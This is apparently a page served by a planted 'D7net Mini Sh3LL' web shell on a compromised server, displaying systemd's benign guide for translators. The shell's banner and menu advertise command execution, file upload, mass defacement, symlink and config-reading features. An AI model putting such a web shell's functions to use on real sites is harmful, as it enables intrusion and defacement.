D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /libx32/../share/snapd/../locale/ia/../../doc/info/../libroken18-heimdal/../usbmuxd/../liberror-perl/../grub2-common/../libjpeg8/../php7.4-mysql/../gnupg/../python3-apt/../netplan.io/../wget/../libcurl3-gnutls/../libthai-data/../python3-six/../screen/../maria/../libxaw7/../libmnl0/../netplan/../gdisk/../systemd-sysv/../grep/../udisks2/../libacl1/../libxmlb1/../libperl5.30/../automake/../libmpfr6/../libisl22/../libstemmer0d/../libxcb-shm0/../eatmydata/../libdb5.3/../byobu/../libnspr4/../tar/../libcdt5/../fuse/../eject/../libss2/../libfuse2/../cron/../libgnutls30/../python3-twisted/../libgcab-1.0-0/../libfile-fcntllock-perl/../libuv1/../systemd/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : //libx32/../share/snapd/../locale/ia/../../doc/info/../libroken18-heimdal/../usbmuxd/../liberror-perl/../grub2-common/../libjpeg8/../php7.4-mysql/../gnupg/../python3-apt/../netplan.io/../wget/../libcurl3-gnutls/../libthai-data/../python3-six/../screen/../maria/../libxaw7/../libmnl0/../netplan/../gdisk/../systemd-sysv/../grep/../udisks2/../libacl1/../libxmlb1/../libperl5.30/../automake/../libmpfr6/../libisl22/../libstemmer0d/../libxcb-shm0/../eatmydata/../libdb5.3/../byobu/../libnspr4/../tar/../libcdt5/../fuse/../eject/../libss2/../libfuse2/../cron/../libgnutls30/../python3-twisted/../libgcab-1.0-0/../libfile-fcntllock-perl/../libuv1/../systemd/TRANSLATORS.md
---
title: Notes for Translators
category: Contributing
layout: default
---

# Notes for Translators

systemd depends on the `gettext` package for multilingual support.

You'll find the i18n files in the `po/` directory.

The build system (meson/ninja) can be used to generate a template (`*.pot`),
which can be used to create new translations.

It can also merge the template into the existing translations (`*.po`), to pick
up new strings in need of translation.

Finally, it is able to compile the translations (to `*.gmo` files), so that
they can be used by systemd software. (This step is also useful to confirm the
syntax of the `*.po` files is correct.)

## Creating a New Translation

To create a translation to a language not yet available, start by creating the
initial template:

```
$ ninja -C build/ systemd-pot
```

This will generate file `po/systemd.pot` in the source tree.

Then simply copy it to a new <code><i>${lang_code}</i>.po</code> file, where
<code><i>${lang_code}</i></code> is the two-letter code for a language
(possibly followed by a two-letter uppercase country code), according to the
ISO 639 standard.

In short:

<pre>
$ cp po/systemd.pot po/<i>${lang_code}</i>.po
</pre>

Then edit the new <code>po/<i>${lang_code}</i>.po</code> file (for example,
using the `poedit` GUI editor.)

## Updating an Existing Translation

Start by updating the `*.po` files from the latest template:

```
$ ninja -C build/ systemd-update-po
```

This will touch all the `*.po` files, so you'll want to pay attention when
creating a git commit from this change, to only include the one translation
you're actually updating.

Edit the `*.po` file, looking for empty translations and translations marked as
"fuzzy" (which means the merger found a similar message that needs to be
reviewed as it's expected not to match exactly.)

You can use any text editor to update the `*.po` files, but a good choice is
the `poedit` editor, a graphical application specifically designed for this
purpose.

Once you're done, create a git commit for the update of the `po/*.po` file you
touched. Remember to undo the changes to the other `*.po` files (for instance,
using `git checkout -- po/` after you commit the changes you do want to keep.)

## Recompiling Translations

You can recompile the `*.po` files using the following command:

```
$ ninja -C build/ systemd-gmo
```

The resulting files will be saved in the `build/po/` directory.

AnonSec - 2021 | Recode By D7net